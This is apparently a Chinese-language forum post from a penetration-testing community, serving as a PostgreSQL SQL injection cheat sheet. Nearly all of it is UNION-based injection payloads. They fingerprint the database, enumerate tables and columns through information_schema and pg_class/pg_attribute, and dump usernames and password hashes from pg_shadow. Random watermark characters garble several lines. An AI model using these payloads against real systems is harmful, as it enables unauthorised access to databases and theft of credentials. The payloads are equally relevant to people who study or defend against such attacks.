支持多语句执行,语句可以没有from
postgres用户是超级用户(创始人账户) 只有superuser有copy权限
注释: — , /**/
连接符: %20 , + , /**/
内置函数:7 m( V+ o* W8 B: ?
current_database() //当前数据库名% U! }0 H8 J6 ?: t7 t- R
session_user //会话用户
current_user //当前数据库用户
user //当前用户
version() //数据库版本
Union注射:
order by n–
and 1=2 union select null,null,null–
and 1=2 union select ‘beach’,null,null–1 H% S# I- D! j$ P. k/ a# e5 t
and 1=2 union select (select version()),null,null–
获取表名,字段名(新版本利用information_schema):
group_concat(table_name)
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–' S* i7 ]$ J4 J' {8 n
(老版本)4 @2 _ I ]7 j5 H2 g
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名) y% L" v, o9 f6 s( e
pg_attribute.attname字段名
select relname from pg_class获取表名+ o' x0 c' i3 F$ P* c. @( K2 l' x
select oid from pg_class where 条件 获取参数
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名
实战:9 m/ ?+ d) u" _$ K% A
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–& y" f1 }& t, D: ?; w1 v& r
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136
and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名) G) `0 g- \6 P, Y9 T3 I5 y
======================================================================
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库" ?/ B. B6 n6 l! }8 m0 {3 D
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |